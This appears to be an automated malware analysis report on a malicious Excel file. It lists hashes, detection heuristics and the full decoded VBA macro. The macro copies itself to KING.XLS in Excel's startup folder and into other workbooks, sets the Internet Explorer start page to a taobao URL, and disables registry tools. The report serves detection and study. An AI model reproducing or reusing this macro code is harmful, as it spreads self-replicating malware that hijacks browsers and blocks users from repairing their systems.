Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa408286ba48bcb2…

MALICIOUS

Office (OLE)

15.0 KB Created: 2014-04-10 07:03:32 Authoring application: Microsoft Excel First seen: 2015-09-27
MD5: 801cd76230cf3f03e426425f307dd840 SHA-1: 275aaa6f3e76eded01e1691232fb662bd6515d1a SHA-256: aa408286ba48bcb21c9a6f1f4e46b2c62c99bc51a9de41cc4d2d9a8d2513bf77
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros. The auto_open subroutine triggers the ck_files subroutine, which checks for the existence of 'KING.XLS' in the startup path. If not found, it proceeds to create and save 'KING.XLS' in the startup path, indicating an attempt to establish persistence. The use of WScript.Shell and CreateObject further supports the malicious intent of executing commands or manipulating the system.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set OperationRegistry = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set OperationRegistry = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://3azu.taobao.com In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2428 bytes
SHA-256: 0663e89275f3fec69944e5bf2a6cb0a8526cf165c91453c1e2fba6552174935d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KING"




Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "KING.XLS") 'results
    If m$ = "KING.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    Sheets("KING").Visible = True
    Sheets("KING").Select
    Sheets("KING").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    
    
    
    
    
    
    
    
    
    
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "KING.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("KING").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).name
    If s$ <> "KING" Then
        Workbooks("KING.XLS").Sheets("KING").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("KING").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case Else
End Select
Dim OperationRegistry
On Error Resume Next

Set OperationRegistry = CreateObject("WScript.Shell")
MyUrl = "http://3azu.taobao.com"
RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl
RegPath = "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl

RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
OperationRegistry.RegWrite RegPath, "1", "REG_DWORD"

Exit Sub   '正常运行的话会在这里退出程序

End Sub

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